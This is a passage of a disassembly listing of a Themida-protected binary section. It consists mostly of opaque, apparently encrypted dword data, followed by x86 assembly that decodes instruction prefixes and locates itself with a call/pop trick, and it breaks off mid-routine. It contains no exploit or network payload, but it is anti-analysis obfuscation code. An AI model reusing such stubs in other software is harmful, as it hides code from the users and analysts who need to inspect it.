dd 21B80650h, 7E8F6h, 4B560000h, 0EDE4E18Dh, 0F88B66B9h
dd 81F88B5Ah, 695AC2h, 0FE800h, 0F4670000h, 402B2601h
dd 0FAF6E1AFh, 0C1CAA718h, 0BB59FC96h, 1A34h, 5E9h, 78D1AF00h
dd 328B8B6Bh, 12DBD03h, 0C6810603h, 4EF524FAh, 1AC5BD8Bh
dd 0EE810603h, 4D6DA84Fh, 2409B589h, 0F6810603h, 16CA589Eh
dd 5E9h, 69B8FE00h, 328989BAh, 6604EA83h, 0EB81C68Bh, 1
dd 0FFBC850Fh, 9E8FFFFh, 9C000000h, 0B41BB482h, 79635B32h
dd 5FF8B70Fh, 7AC08D8Dh, 6A0608h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0DC1194C3h, 0E641CDF0h
dd 9E9F6A0h, 0C3000000h, 0FE7ECC95h, 0D0BEA18Eh, 10E9h
dd 7FC3A600h, 198EA6DCh, 0EEAA57A1h, 374B50F8h, 0D18D8970h
dd 6A060331h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 53B5C350h, 6E9h, 0F725B100h, 5B3B9050h
dd 1E185C7h, 73CC0603h, 81600000h, 0BF9C36DAh, 85C76111h
dd 60321BDh, 0
dd 21ADB5FFh, 0BE90603h, 2F000000h, 303E6E56h, 31FDE7C2h
dd 95FF6ED8h, 6032691h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0BCC35242h, 40CF3EA7h, 8BE8C2E3h, 30A319Dh
dd 0FF006A06h, 31FB995h, 0EBC08B06h, 0CE7C546Bh, 0EA88A4EFh
dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 240BD605h
dd 5A0C74B5h, 61E7C6F3h, 1B7B1EECh, 0CA63D6EDh, 0E01F3AB5h
dd 29921951h, 0F4D90E84h, 0C45685C3h, 0F9BF1714h, 0BE9F015Fh
dd 904C4C6h, 0BA0FFE61h, 0A24D1AFFh, 685F3AFh, 0FFBC4DBh
dd 0A11C2271h, 9818057Ch, 71C22267h, 5567911Fh, 0F28C3A70h
dd 7BE68D8Dh, 8E90608h, 4000000h, 0A9B7C31Eh, 89E35500h
dd 331D18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0C381B604h, 2A2AE559h, 85C7E5B4h
dd 60301E1h, 64B0h, 1FEE8166h, 0BD85C760h, 60321h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0C5E7C350h, 0ABF1D4EBh, 0FF5E51DBh, 310CDB5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 71850119h, 0FF060320h, 3269195h, 0D850906h
dd 6A060328h, 0B995FF00h, 8B06031Fh, 0FA0EEBC0h, 97F0A6B6h
dd 0ACA6DA18h, 0E3C36A72h, 2DEBD7h, 0D0000000h, 9CBFAE0Dh
dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h
dd 9D8993h, 67268168h, 3B2BD14h, 704DE3B7h, 0B2BE9h, 7D3B6800h
dd 2EE90608h, 68FFFB01h, 6087E42h, 0FB0124E9h, 7F6A68FFh
dd 1AE90608h, 68FFFB01h, 6088000h, 0FB0110E9h, 80CC68FFh
dd 6E90608h, 68FFFB01h, 6088196h, 0FB00FCE9h, 827B68FFh
dd 0F2E90608h, 68FFFB00h, 608847Ch, 0FB00E8E9h, 857A68FFh
dd 0DEE90608h, 0ADFFFB00h, 0D6BB29CEh, 4528BC45h, 0F75A0EB3h
dd 67CA9E1Fh, 897B6992h, 7277184Eh, 0C6E78B1Eh, 545D3F82h
dd 25CAAD30h, 0B0981EA7h, 71067517h, 0F010D365h, 0FF4B6785h
dd 7506DC4Eh, 0EB64C4C2h, 51710674h, 0E2833F8Ah, 13E6EA0Bh
dd 780A87Ch, 75710675h, 36711BE6h, 3515AD4Bh, 6EFE5A25h
dd 61324C1Bh, 0FB9F9F44h, 0A2F792FAh, 5EDA9593h, 5AA4D20h
dd 501BF247h, 0F1615D00h, 7D6FFA63h, 0B8593F4Ah, 24F45933h
dd 11A93483h, 148D9D57h, 68770E14h, 192707FDh, 0E0751111h
dd 9565F43Fh, 0A476F4E5h, 8D184D1Fh, 284B1E37h, 0E0D3ECC2h
dd 3A12CF9Fh, 11000009h, 9A6F7D82h, 99CF0F9h, 0BB0E4267h
dd 2BBED2D3h, 452FBD46h, 862BCC9Ah, 1A9B7FC2h, 0E811E376h
dd 797E11E4h, 0FC4C4A6Bh, 71067363h, 2A5417D9h, 472AA243h
dd 2E590FB0h, 582D4563h, 0FDBB31BAh, 1200772Dh, 26A63575h
dd 0BE0811Eh, 4D918F71h, 6A3E516Bh, 360E93h, 1A90000h
dd 6567886Ch, 503B8460h, 82341452h, 9F7511FFh, 20B9C7FCh
dd 0E98D81FEh, 846A79C4h, 35A0817Fh, 770E8B53h, 261A710Bh
dd 0D7DEE6F2h, 0CA999369h, 1A000000h, 2AA2432Ah, 5F09B247h
dd 0DC9A1BF2h, 0E6426709h, 53543B86h, 18A17617h, 0E60BED70h
dd 21C99D1Bh, 770EEE2Fh, 0BB29CEA1h, 0B1463FD6h, 329922F0h
dd 28A00F5Ah, 0B8F6F49Fh, 11FF0690h, 0B9593475h, 7C11A934h
dd 0CB9F159Eh, 97D3D1BCh, 98D85B3h, 93B7F36Fh, 77084CFAh
dd 5CE9346h, 30426675h, 0DE09E65h, 0BC01476Ch, 4D9FD6DBh
dd 12E6D617h, 833E77Ah, 89680000h, 9D6064h, 6E0095FBh
dd 0DAB20745h, 4D22B7D5h, 934220A4h, 0DB8932C7h, 4F1DA276h
dd 0FD9318FAh, 6C608568h, 5CF55555h, 0A0710672h, 452A5310h
dd 0B24528BCh, 0F0D14ADEh, 0B82F770Eh, 1CF0952Dh, 99648D63h
dd 68E149CFh, 0D4770EF0h, 0AA3EBA01h, 8C6C0129h, 12F90293h
dd 405E2996h, 0FF700226h, 7BEE7511h, 0DF4CC911h, 1ED8710Bh
dd 98CCA74Fh, 99481922h, 91F49463h, 0E5F3271Bh, 9369BDDFh
dd 0AA4F21C4h, 5312A722h, 0C2EBB0A3h, 0E2F0EA46h, 3000000h
dd 6AE34701h, 0D6770EF0h, 7AEBAC9h, 937E1135h, 0F7911AFCh
dd 9C731692h, 0DC7711Bh, 0E04A43Dh, 0F74D1877h, 690CFD92h
dd 29EFF944h, 0F1329076h, 0F24E216Dh, 0E11C8DAh, 42630A77h
dd 0D3D4BB0Eh, 866EFFB9h, 64F3F899h, 3C8B6164h, 5D175351h
dd 0F8659BBAh, 78F48AADh, 117CC650h, 0C9E17475h, 39535424h
dd 0F3BCD0ACh, 0FC4C6A88h, 6F08F9DFh, 1DF08E5Dh, 0AA3B777Ch
dd 0A492EAC9h, 669B4D1Fh, 0E4491D9Bh, 93D7EE13h, 50E6D64Ah
dd 70BA5B8h, 0B1400000h, 28F5580Ch, 9678CD83h, 2EA7F6Dh
dd 751AEFFDh, 6BAA184Ch, 33515A3Fh, 0A725CAAEh, 0D5BB40D2h
dd 4408AD40h, 34AD7D3Dh, 88710671h, 452A7BF8h, 8B6302BCh
dd 8967626Ah, 787D10E5h, 0F2CAAF3Eh, 0EF0BD56h, 0C9540377h
dd 1A6ECA9Fh, 0A2432A59h, 0FB0472Ah, 0F114B159h, 8BF6770Eh
dd 0DEB0556Dh, 9215FD5h, 7506DC7Eh, 0B2536FFAh, 23B6DADBh
dd 8621AB4Ch, 0BC5FDFBh, 7A12937Ah, 17E20397h, 820BB199h
dd 0E2696F09h, 0DBB38DC3h, 0A7BA52E6h, 675h, 22A6472Ah
dd 5735BE5Fh, 0C1872CC2h, 7117987Ch, 0E2E60BECh, 0F081D500h
dd 603085CBh, 0D6A4095Fh, 432ABF2Dh, 13972EA2h, 6709E37h
dd 9152E271h, 64896C01h, 0ED12E588h, 596230D5h, 4F268BE3h
dd 997D10AEh, 53F09814h, 12E5BDE1h, 3034FFEDh, 73996D52h
dd 0E4F891B9h, 9144770Eh, 0C011Bh, 5AB20000h, 172h, 2A7491Ch
dd 0F26F2DA6h, 29770EF0h, 0F042DB6Fh, 0D3BE770Eh, 572DB841h
dd 631F9DE8h, 6DC4FC7h, 8C2AB175h, 0E64216F9h, 7106746Dh
dd 2BB904D3h, 5E0EAF46h, 426735D8h, 56E15F0Ah, 3BF58D2Bh
dd 67476EFh, 0A11FCA71h, 81BD43E7h, 7F3B6F09h, 38132ABh
dd 4CDB8E77h, 0DBB30135h, 2F22CAE6h, 5A9h, 0FE9213E6h
dd 63618A6Bh, 9DF3F89Eh, 0D436408h, 0BED2D7B8h, 0BC5D0934h
dd 2CCC5137h, 0A270C58Bh, 0FE64B19h, 0DFDBFAEEh, 670D24Bh
dd 0DD9E2E71h, 0B85A432Ah, 590C5933h, 0BA732B7h, 75531448h
dd 0AD0B12A0h, 189D70DDh, 3D61D370h, 7F6D9265h, 6C68B0B4h
dd 7AF99h, 5AC80000h, 0AEh, 6785F0D9h, 0D2D3BA4Bh, 7F301856h
dd 0FD7506DCh, 0DABD506Eh, 22AA4F2Dh, 21B4D8A7h, 883FA94Eh
dd 22C3FFFDh, 0A421AB50h, 0AABA8EC8h, 646EFE59h, 41D4B9F1h
dd 0B24528BCh, 0E9D14ADEh, 0B82F770Eh, 43FDBB2Dh, 0EE96EE7h
dd 0A907D277h, 3D75731Eh, 0EA0BE283h, 2109E7E2h, 7511E713h
dd 0A19BDA81h, 3EE0D3D8h, 4DFB3AEh, 0DDBC0000h, 5421B4D8h
dd 0C25439AFh, 2EC6AB39h, 0A176DB89h, 3FFE7418h, 6F7D866Bh
dd 93F1F69Ah, 1476C0Eh, 0B0D4D9BCh, 881A9E1h, 74710670h
dd 5C5A27C4h, 1C000001h, 4507AC49h, 12F091CAh, 6EF5B6D2h
dd 5E011192h, 6F67B33Ah, 4FF87480h, 2008A644h, 7506618Fh
dd 7F205E0Dh, 5C8F0F6Eh, 4C4217EAh, 18AE2558h, 43FDBB31h
dd 58DAC790h, 8F9B00E1h, 7105F616h, 9410FF6Ah, 0CB991EF1h
dd 506E8F66h, 2206DABDh, 7105F5A9h, 93F54017h, 55127AF6h
dd 6832462Ah, 1865B3BFh, 4555F58Dh, 0FB6EFE7Fh, 0C798526Ch
dd 77F63DF7h, 8FE25EACh, 3C81C7E8h, 82345459h, 0A13A0EC8h
dd 1F770E99h, 99C74048h, 0A635770Eh, 71F21011h, 279D773Ah
dd 0B3CFED98h, 11206997h, 6100D775h, 0E0D311C1h
dd 0FAE77A12h, 51000003h, 0DAAF3DC2h, 49DCB039h, 0FB4E02A7h
dd 6BFE9213h, 856F7D86h, 466B0C5Ah, 0DADBBF02h, 0A85123B6h
dd 39BE5124h, 0BC8C0AABh, 71066E23h, 2A14D799h, 472AA243h
dd 0A0730FB0h, 0EDE2CE81h, 1870CCCAh, 0D45898Bh, 0EC07456Ah
dd 996D10D8h, 52533ACBh, 55C4D6h, 0F0770000h, 0FF4B6785h
dd 7511AB4Eh, 0A15B17C2h, 0BA41089h, 0A84D2071h, 4806E269h
dd 9019FF8Eh, 7217EDF8h, 0C771179Ch, 4C09FB14h, 0B520E847h
dd 749B3C1Eh, 0B19917E5h, 710BD913h, 27A54A2Dh, 7B37BC52h
dd 0D8F069C1h, 614C710Bh, 219F6A8Fh, 34F9449h, 2A2F0000h
dd 4429A348h, 8324F4B1h, 0C3852ECCh, 0EB553B86h, 0F74D721Ah
dd 129FB92h, 770EF088h, 0F29A61F4h, 6167886Fh, 5BD3B46h
dd 12006F25h, 0BE2D75h, 0E069E246h, 0D3D7710Bh, 0BE0DE77h
dd 28B72271h, 77143C4Ch, 0B5710BE0h, 15DD22F5h, 0A7FA1CD6h
dd 0EBA63F0Bh, 4F1A710Bh, 9F99CDF1h, 936A4985h, 4BC4641Eh
dd 0B1710BE3h, 364C4E2Ah, 0EF000000h, 4B6785F0h, 0B7D1D6BAh
dd 5E1856D2h, 6ECAEB8Fh, 11FFAC5Eh, 0D5B72275h, 0BDF900Dh
dd 7CA09C71h, 6A416064h, 1141F93h, 885D0000h, 0E98FC2E7h
dd 67DD88C0h, 5A432AECh, 325731B6h, 235BC66Dh, 0BC0B74A0h
dd 0F3B0412Ch, 658A6D1Eh, 0C9BCE9Eh, 0F790B872h, 45770E29h
dd 0EF721A96h, 33E5E708h, 2938D179h, 0D184770Eh, 5E5F365Bh
dd 26F0E20Ah, 9649770Eh, 0D3CEA47Dh, 0E861C979h, 54770EBDh
dd 2BBE3A81h, 582DA344h, 977630B5h, 6606E203h, 0B3403641h
dd 4D07A30Eh, 0B5D7D8B8h, 467454D0h, 0B47511DBh, 29B439D9h
dd 63810CBBh, 24BD8D47h, 98710BE0h, 113977CDh, 6F0990FCh
dd 0C5EA8E5Fh, 0E783566Fh, 3ED7732Dh, 82770850h, 0DADFB0D7h
dd 5D660B5Eh, 2CD5BA0Fh, 0D67C8795h, 0A9A444E6h, 1F9h
dd 0AE22C356h, 0D3B13ADBh, 4D03A84Eh, 0FD9314F8h, 6E628768h
dd 6C0D5984h, 0DCBC0147h, 5220B5DBh, 0BF563BA9h, 8F0BAA3Eh
dd 66C22BBh, 0DEE9E71h, 0DB6F452Ah, 770EF042h, 0F0D871D9h
dd 0B124770Eh, 687CCB9Eh, 9FCDF285h, 0C1AC4C21h, 1E18A989h
dd 0EEFE455Fh, 0FE0394FBh, 85F08102h, 4DFF4B67h, 0A47511FFh
dd 328E33C1h, 23DCBC13h, 0A623A54Eh, 49D4B1DBh, 0DF5AF71Fh
dd 6AD6710Bh, 412A3226h, 0B025936Ah, 56000000h, 4A2432Ah
dd 93698E61h, 788116FBh, 0EDD6C810h, 7518770Eh, 3817E688h
dd 0ACBF898Ch, 896E7DC8h, 967D6860h, 67886FF2h, 3ED2B365h
dd 974C3B9h, 4D7BCFEBh, 0CB751166h, 3FCE481Ch, 2BD0AD5Eh
dd 0F5924A1h, 2651DE5Ah, 0B219A270h, 0BA993AF4h, 331AE784h
dd 0ADC3EB41h, 4C6F095Dh, 5BD1D6B9h, 32D3EF7Ah, 0AD30545Dh
dd 968C27CCh, 4BE6D65Fh, 0FBAEA3h, 0C1500000h, 38C5A83Ch
dd 0A648DDB3h, 12FA4F1Dh, 856AFFEDh, 5B9A687Ch, 3416A0Fh
dd 0B7D5DABEh, 25AB5022h, 5438BD50h, 24BD8D0Dh, 9871066Bh
dd 452A0BE8h, 0B24528BCh, 2A245F0Dh, 0DB25A43h, 0D44DDD5Bh
dd 28770EF0h, 2F4BD6BDh, 0F03CD575h, 0D580770Eh, 0CBA20F5Fh
dd 72EB3FF9h, 0CE770EF0h, 0F098311Bh, 71E4770Eh, 3612CCEAh
dd 770EF09Dh, 0F02BA484h, 0CA91770Eh, 0CCA01CCBh, 0D9E2B352h
dd 0BA9D463h, 0DC22DB6Fh, 0CB9E7506h, 54593C81h, 25CAAD30h
dd 58C89BA3h, 14281F43h, 15E78EC0h, 0E1EA370h, 6C1D895h
dd 8C697CEBh, 95606567h, 6A8B62F7h, 1DB6924Ch, 6306C1D9h
dd 8D1078F4h, 3984C4E9h, 54395358h, 8E33C1C2h, 0BF6A923h
dd 6482988Bh, 25695529h, 87661095h, 0A6ACCDF6h, 1EE6CF56h
dd 5F83B70Dh, 194F7007h, 8CDCE1B4h, 851h, 6C01EC00h, 0CC886489h
dd 0A6472AD7h, 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh
dd 476C0D90h, 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 89520B40h
dd 4C281E2h, 83000000h, 148704EAh, 14895C24h, 0E6895624h
dd 4C681h, 0EE830000h, 24348704h, 242C895Ch, 81E68956h
dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 3BBD243Ch, 454FFA62h
dd 81DDF745h, 0A06349EDh, 0BA524D7Ah, 2179545Ch, 2A78C281h
dd 0CA815C90h, 5A78137Bh, 0C20DEA81h, 0D5294F1Ch, 3C8B545Ah
dd 4C48324h, 3B9768h, 242C8900h, 40242C81h, 8F05C371h
dd 47810847h, 0C3714008h, 243C8B05h, 81E28952h, 4C2h, 4C28100h
dd 87000000h, 8B5C2414h, 8951242Ch, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 0F613E95Ch, 0F4C0FFFAh, 0FD4B66F8h
dd 8869AB8h, 0FFC50306h, 3E14B9E0h, 68915530h, 764A5212h
dd 0CFE90677h, 0B21AA0Ah, 0C00F748h, 0F9D16F74h, 4600267Eh
dd 81D23963h, 57DA9E7Bh, 0C9DF8C62h, 6AC08B00h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 88B4C355h, 0BD83E01Ah, 6031039h, 83097500h, 3111DBDh
dd 19740006h, 0C08B5350h, 3FCB8h, 75858900h, 8D060317h
dd 5B0919Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 3FCB8h
dd 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0E38166BDh, 6ABEB7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 7F9EAAC3h, 92BBA041h, 5E95283h
dd 0D000000h, 7EF37237h, 0DE8B665Bh, 6660C08Bh, 0F8E9BB9h
dd 58Dh, 0F6816600h, 8361950Dh, 31E91BDh, 840F0106h, 69h
dd 50AEE0BBh, 85BD8318h, 6031Ch, 57850Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 5526E3C3h, 9532F6A9h, 2CDDBD83h, 0F000603h, 0A784h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0A46C9931h, 0F0AE877h, 0BF0FD9BFh, 428E9D8h
dd 5E80000h, 44000000h, 43B89FCh, 14E9h, 6DBF800h, 0C2433AC1h
dd 6549B908h, 503811F8h, 0A13CCE0Bh, 5A1Ch, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 98615BC3h, 0C4BBF2A6h, 0EB810D5Bh, 5D956F79h, 39DBB66h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 64C35242h
dd 0AD1E8600h, 0F7FB0CC3h, 4C836AE8h, 0C511D9BAh, 0C5783708h
dd 9C5BDFACh, 89F28695h, 81FADB0Fh, 0C56CDBB1h, 943ADFCAh
dd 62964DA6h, 0C0F0D0BBh, 0A37BDF59h, 0DAC42D2Dh, 8EAF5ADBh
dd 0CF93D92Dh, 0D97BDF95h, 268446E8h, 0B34BED56h, 0C57E3647h
dd 10D6DF59h, 9F8D0813h, 0C5110FA9h, 0C5783779h, 9F5BDF95h
dd 91F28509h, 81FADB41h, 0C566DB96h, 9739DF59h, 5DC9E26Fh
dd 1A438977h, 2C1D652Fh, 0C57BDF99h, 0BC9DE7DDh, 67BDAB92h
dd 1586CB08h, 0C57BD4B0h, 16FA76ACh, 0DADD005Ch, 7A7B2C97h
dd 0C57F4C7Ch, 36FAB9CAh, 35F17545h, 0C57B37E7h, 4426DF59h
dd 0CDF22141h, 16C4D050h, 69193DAAh, 5F0F4A7h, 2D28DFA0h
dd 0C57BDF66h, 9EB88492h, 0C15F83D0h, 0C15F9B2Dh, 0C57BDF4Dh
dd 0A1B88C68h, 2D125970h, 2CCF4956h, 0C57BDF6Bh, 50C0F6C1h
dd 1A39194Dh, 337F4442h, 16F13F31h, 4C3A6C7Bh, 7274FB91h
dd 897AD015h, 36FA2141h, 84277F76h, 937BB501h, 0C57BDC44h
dd 625FF56h, 0E10F5675h, 0E13F5E91h, 0C57BC3CEh
dd 62D9965h, 364C4BD0h, 0EE8A8B74h, 12F0B9B9h, 0C579D353h
dd 0E5B5642Bh, 0CDF0B447h, 4E3665ACh, 39335403h, 2D2CDFD8h
dd 0C57BDF5Ah, 9AB8808Ch, 0C15FA3DFh, 0C15F9BAAh, 0C57BDF80h
dd 4CB8888Dh, 0C57A6777h, 0C511DFB2h, 0C578370Ah, 9E5BDFACh
dd 99F28495h, 81FADB0Fh, 0C567DBB1h, 9638DFCAh, 0CF133FA6h
dd 0B41BB774h, 0D192B3F4h, 657BDFACh, 2271B4FFh, 5B75DC1Eh
dd 1A844EEh, 866DCC79h, 95BBDDDBh, 0C57BCB5Ah, 402A759h
dd 59AA1407h, 0F22E17Fh, 0AB965CE8h, 0BA10439Eh, 972B8F3Eh
dd 9D21EE6Ah, 0C9F285E9h, 937BB57Dh, 0C57BDC44h, 625FF56h
dd 0E10F5675h, 0E13F5E91h, 0C57BCBCEh, 62D9965h, 16C4D0AEh
dd 0AFA2533Fh, 0C6938CACh, 0E57BDF56h, 4C201C70h, 447FFBC9h
dd 0D37FFB8Eh, 867BDF65h, 842E1CE1h, 0C5713687h, 8634DFACh
dd 0D30A4457h, 0CFE0FB0Ah, 0C57F589Ah, 7E1DDFCAh, 441DFE4Ch
dd 334E2741h, 4074DB98h, 0C57BDF43h, 2D2ADF3Ch, 0C57BDF28h
dd 9CB886B5h, 0C15F9343h, 0C15F9BE4h, 0C57BDFAFh, 70B88E18h
dd 4C1B8F8Bh, 55C3AF1h, 562064B6h, 441DAFAAh, 9C4E1D18h
dd 0CA13E6E5h, 0C57AFA37h, 0C57C3759h, 960FDFACh, 16D0D6A8h
dd 8BC1B93Fh, 0BCF0849Fh, 0C1FED0CBh, 957BDF65h, 442085E1h
dd 0C57BDFA6h, 3EF9D02Ch, 0AF7BDF56h, 0C693882Bh, 0E57BDF95h
dd 4C241C95h, 447FFB19h, 0D07FFBF6h, 827BDF59h, 0E2DA1CFBh
dd 4D855A91h, 0C57AD923h, 0C511DF95h, 0C5783799h, 9E5BDF65h
dd 99F28471h, 81FADB7Dh, 0C56EDB88h, 9638DF56h, 0CABEDAE8h
dd 0D792052Ah, 0A47BDFCAh, 8807F69Fh, 84819656h, 0DCFC5E4Ch
dd 3CC55794h, 0C5C336DEh, 0C511DF2Bh, 0C57837C6h, 9E5BDFCAh
dd 99F284A6h, 81FADB96h, 0C562DB7Dh, 9638DFACh, 79092995h
dd 2CF9197Fh, 0C57BDFE7h, 9CF12D4Ah, 0C57E556Ah, 441DDFB2h
dd 0A39288BAh, 3A70A62Fh, 0C5235B59h, 0C511DF2Bh, 0C57837C2h
dd 9A5BDFCAh, 0B9F280A6h, 81FADB96h, 0C56FDB7Dh, 923CDFACh
dd 43748895h, 0C57BDF2Dh, 98BF0D14h, 40BCC5F4h, 0C373579Bh
dd 0C57BDFB3h, 2D2BDF33h, 0C57BDFAFh, 9DB88776h, 0C15F9BA2h
dd 0C15F9B14h, 0C57BDFD3h, 0FBB88F25h, 0FBE8B243h, 0B989645Ah
dd 0AF33DC8Dh, 0C6938956h, 0E57BDF2Bh, 4C251CCBh, 447FFBBEh
dd 0D17FFB21h, 837BDFB2h, 45A91C0Fh, 0D3C2815Bh, 4839A91Dh
dd 0CDF50CAEh, 0DBC65293h, 0FE7DD747h, 0F57CAB9Dh, 82B20EBDh
dd 0C5112AB2h, 0C57837FAh, 9B5BDF56h, 0B1F281E8h, 81FADBB1h
dd 0C567DBEEh, 933DDF65h, 0F0D30F71h, 774A8817h, 0D6926F68h
dd 0F87BDF56h, 763BA0BCh, 0E3176C7Ah, 466F1FA2h, 0DC42E469h
dd 0C5111E98h, 0C5783709h, 9D5BDFACh, 81F28795h, 81FADB0Fh
dd 0C56DDBB1h, 953BDFCAh, 459980A6h, 0C57D53BDh, 2FFADF59h
dd 0F82CB7B6h, 0DBEA62D5h, 0CA7AD928h, 0C57B9911h, 15F08DCAh
dd 40C65C3Fh, 0C57DDCAEh, 0C54E5A56h, 2EFBDFACh, 18C65C11h
dd 0C57DDC07h, 0C5555B9Ah, 0C511DFCAh, 0C5783735h, 9D5BDFB2h
dd 81F2879Ah, 81FADB88h, 0C56EDB72h, 953BDF2Bh, 0CA657156h
dd 0C57BDD4Ah, 2CAD5465h, 0C57BDF1Ah, 9905653Fh, 0DBEA622Fh
dd 0CA7AD955h, 0C57B8BAEh, 937BB595h, 0C57BDC22h, 625FF65h
dd 0E10F56ECh, 0E13F5E5Dh, 0C57BC7A8h, 62D9956h, 0BBFDBF8Ch
dd 0CF915F65h, 937BB597h, 0C57BDC8Dh, 625FFB2h, 0E10F5607h
dd 0E13F5EA8h, 0C57BC352h, 62D992Bh, 71541B6Ah, 1B628A9Ch
dd 6A254EEh, 809284E0h, 727BDF59h, 1CF082F1h, 957BB599h
dd 0C57BDCC3h, 623FF95h, 0E13F5692h, 0E13F5E61h, 0C57BC2B6h
dd 62B9F59h, 0FEA5D6A7h, 332427E5h, 0CA92E2F3h, 0DE7BDF95h
dd 1F700398h, 0F0A04232h, 75EFAAADh, 17FAE153h, 0D4965522h
dd 4C2F62DBh, 48F6D923h, 0C3735135h, 0FF27C272h, 84FEEC1Eh
dd 0EE7DDCA9h, 0C7921E96h, 0A91DD3C2h, 0CAE4839h, 5293CDF5h
dd 0D747DBC6h, 0AB9DFE7Dh, 0EBDF57Ch, 0F305E983h, 0FEBD83A4h
dd 60888h, 8D8D0D74h, 6034D1Ch, 1B8h, 40E1FF00h, 0B95BB66h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 8AC35242h
dd 7C59F85Dh, 305FA29Dh, 8E9h, 21063B00h, 61B76BF4h, 2DE883DCh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 6EC35343h
dd 3C3CDB9Eh, 0DA8AD98Fh, 8BD38B66h, 57006AC0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 2D39E78Eh
dd 0F82D7A32h, 83D0B70Fh, 31039BDh, 9750006h, 111DBD83h
dd 74000603h, 8B535019h, 3FCB8C0h, 85890000h, 6032391h
dd 0B0F89D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh, 50177400h
dd 3FCB853h, 85890000h, 6032391h, 0AD999D8Dh, 0D3FF0605h
dd 7E9585Bh, 94000000h, 42DEBE67h, 0C08B9207h, 1C8E9h
dd 8 dup(41888800h), 4 dup(0)
dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h
dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h
dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
dd 0
dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h
dd 88888808h, 88h, 0
dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h
dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0
dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
dd 100h, 14h dup(0)
dd 6380C300h, 7577EDh, 100h, 11h dup(0)
dd 353E900h, 0E8550000h, 0
dd 8CED815Dh, 60060891h, 90D985C7h, 608h, 81660000h, 0FA1663Eh
dd 0F85h, 0DD85C700h, 6060890h, 0E9000000h, 24h, 90E1858Dh
dd 8D500608h, 8913185h, 6A565006h, 1DE800h, 0C4830000h
dd 0FF2510h, 85890000h, 60890DDh, 0DDB50361h, 8B060890h
dd 890D985h
db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_594E8C
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_594E98
; ---------------------------------------------------------------------------
loc_594E8C: ; CODE XREF: Themida_:00594E75j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_594E98: ; CODE XREF: Themida_:00594E87j
push ebx
push esi
push edi
loc_594E9B: ; CODE XREF: Themida_:00594EF0j
; Themida_:00594F0Cj ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_594EAE: ; CODE XREF: Themida_:00594ED5j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6089243h
lea ebp, [ebp+60890B9h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_594EDB
inc cl
cmp cl, 0Bh
jb loc_594EAE
loc_594EDB: ; CODE XREF: Themida_:00594ECAj
cmp cl, 0Bh
jz loc_594F38
cmp al, 66h
jnz loc_594F19
cmp byte ptr [ebp-5], 0
jnz loc_594E9B
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_594F11
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_594E9B
; ---------------------------------------------------------------------------
loc_594F11: ; CODE XREF: Themida_:00594EFEj
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_594F19: ; CODE XREF: Themida_:00594EE6j
cmp al, 67h
jnz loc_594E9B
cmp byte ptr [ebp-6], 0
jnz loc_594E9B
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_594E9B
; ---------------------------------------------------------------------------
loc_594F38: ; CODE XREF: Themida_:00594EDEj
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
